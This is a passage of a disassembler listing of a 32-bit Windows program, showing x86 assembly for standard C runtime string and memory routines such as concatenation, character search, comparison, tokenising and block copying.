		ja	short loc_41BD72


loc_41BD69:				; CODE XREF: sub_41BBBD+1A1j
		test	ecx, ecx
		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99


loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB928, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------


loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi


loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax


loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CEp
					; sub_401ACD+6A0Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5980p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 26706F7h
		nop
		test	eax, eax
		jnz	short loc_41BDF2
		nop
		call	near ptr 2670E94h
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax


loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D2p
					; ___:00411CA1p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E81p
					; sub_401ACD+1EA0p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi


loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx


loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx


loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFCp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FEp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC


loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD


loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------


loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]


loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46


loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0


loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB


loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8


loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6


loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi


loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------


loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC


loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi


loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080


loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB974


loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------


loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx


loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------


loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB974, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2C+1Cp
					; sub_415220+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------


loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEA+88p
					; sub_40B64A+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A


loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB


loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A


loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4


loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------


loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC


loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290


loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283


loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl


loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi


loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C


loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA3+15p
					; sub_40BFA3+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8


loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------


loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------


loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------


loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------


loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
